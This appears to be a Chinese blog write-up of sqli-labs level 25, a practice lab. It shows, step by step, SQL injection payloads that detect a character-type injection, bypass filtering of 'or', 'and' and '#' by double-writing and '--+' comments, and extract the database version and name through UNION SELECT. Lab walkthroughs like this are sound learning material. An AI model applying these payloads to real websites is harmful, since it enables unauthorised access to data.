sqlalb第二十五关通关笔记

知识点:

  • or and # 被过滤了
  • 有回显可以用联合注入
  • 这里可以利用双写绕过(亲测有效,)
    • oorr
    • anandd
    • 这样的话可以使用错误注入(不演示了,有兴趣可以试一下)

又是一个id输入

测试是什么类型的注入

构造payload:id=1

构造payload:id=1/0

构造payload:id=1'

构造payload:id=1''

发现界面是有输出的,同时界面提示了or and等关键字应该是要过滤的,并且下面给出了过滤后的信息;经过不断的测试发现,这是一个字符型注入

构造payload:id=1'+or+1=1#

发现报错了,果然or and 关键字被过滤了

使用联合注入试一下

构造payload:id=0'+union+select+1,2,3#

发现界面错误,看下面的提示发现#被过滤了;其实上面测试的时候就发现了,这里就是按照一般思路测试一下,在不知道什么过滤的条件下需要一步步测试;根据提示发现一直提示单引号问题就能猜出#注释没有发挥作用

构造payload:id=0'+union+select+1,2,3+--+

成功显示了内容

接下来获取数据库名和版本信息

构造payload:id=0'+union+select+1,version(),database()+--+

成功获取了数据库名和版本信息,这里就结束了,收工

10

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-03-17 05:12:02       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-03-17 05:12:02       101 阅读
  3. 在Django里面运行非项目文件

    2024-03-17 05:12:02       82 阅读
  4. Python语言-面向对象

    2024-03-17 05:12:02       91 阅读

热门阅读

  1. LeetCode 395. 至少有K个重复字符的最长子串

    2024-03-17 05:12:02       42 阅读
  2. 矩阵消元-MIT

    2024-03-17 05:12:02       38 阅读
  3. C语言每日一题—魔幻矩阵

    2024-03-17 05:12:02       43 阅读
  4. LeetCode 1876. 长度为三且各字符不同的子字符串

    2024-03-17 05:12:02       38 阅读
  5. Lua-Lua与C++的交互2

    2024-03-17 05:12:02       34 阅读
  6. VUE基础

    VUE基础

    2024-03-17 05:12:02      38 阅读
  7. Kafka-SSL笔记整理

    2024-03-17 05:12:02       40 阅读
  8. 安装 docker 和 jenkins

    2024-03-17 05:12:02       34 阅读